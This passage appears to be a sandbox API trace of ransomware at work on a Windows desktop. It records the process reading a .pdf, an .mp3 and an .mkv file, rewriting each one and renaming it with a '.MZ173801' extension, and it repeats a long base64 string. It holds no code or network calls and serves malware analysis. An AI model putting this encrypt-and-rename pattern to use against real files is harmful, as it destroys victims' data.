[0145.091] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x4c16, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x4c16, lpOverlapped=0x0) returned 1 [0145.092] CloseHandle (hObject=0x2a8) returned 1 [0145.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\fZVy.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\fzvy.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.094] WriteFile (in: hFile=0x2a8, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x4c16, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f404*=0x4c16, lpOverlapped=0x0) returned 1 [0145.096] CloseHandle (hObject=0x2a8) returned 1 [0145.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\fZVy.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\fzvy.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\fZVy.pdf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\fzvy.pdf.mz173801")) returned 1 [0145.097] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\IP8nuhE 5b41vA1RkTRC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\ip8nuhe 5b41va1rktrc.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb083530, ftCreationTime.dwHighDateTime=0x1d5d910, ftLastAccessTime.dwLowDateTime=0xfba59b0, ftLastAccessTime.dwHighDateTime=0x1d5d9d5, ftLastWriteTime.dwLowDateTime=0xfba59b0, ftLastWriteTime.dwHighDateTime=0x1d5d9d5, nFileSizeHigh=0x0, nFileSizeLow=0xc578)) returned 1 [0145.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\IP8nuhE 5b41vA1RkTRC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\ip8nuhe 5b41va1rktrc.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.101] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0145.101] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.101] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0xc578 [0145.101] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.101] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0xc578, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0xc578, lpOverlapped=0x0) returned 1 [0145.102] CloseHandle (hObject=0x2a8) returned 1 [0145.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\IP8nuhE 5b41vA1RkTRC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\ip8nuhe 5b41va1rktrc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.105] WriteFile (in: hFile=0x2a8, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xc578, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f404*=0xc578, lpOverlapped=0x0) returned 1 [0145.107] CloseHandle (hObject=0x2a8) returned 1 [0145.107] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\IP8nuhE 5b41vA1RkTRC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\ip8nuhe 5b41va1rktrc.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\IP8nuhE 5b41vA1RkTRC.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\ip8nuhe 5b41va1rktrc.mp3.mz173801")) returned 1 [0145.108] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\UUhFJl.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\uuhfjl.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7759d30, ftCreationTime.dwHighDateTime=0x1d5dd4a, ftLastAccessTime.dwLowDateTime=0x7e1cccf0, ftLastAccessTime.dwHighDateTime=0x1d5dd70, ftLastWriteTime.dwLowDateTime=0x7e1cccf0, ftLastWriteTime.dwHighDateTime=0x1d5dd70, nFileSizeHigh=0x0, nFileSizeLow=0xeffa)) returned 1 [0145.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\UUhFJl.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\uuhfjl.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.112] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0145.112] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.112] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0xeffa [0145.113] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.113] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0xeffa, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0xeffa, lpOverlapped=0x0) returned 1 [0145.114] CloseHandle (hObject=0x2a8) returned 1 [0145.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\UUhFJl.mkv" (normalized: "c:\\users\\5p5nrgjn0js 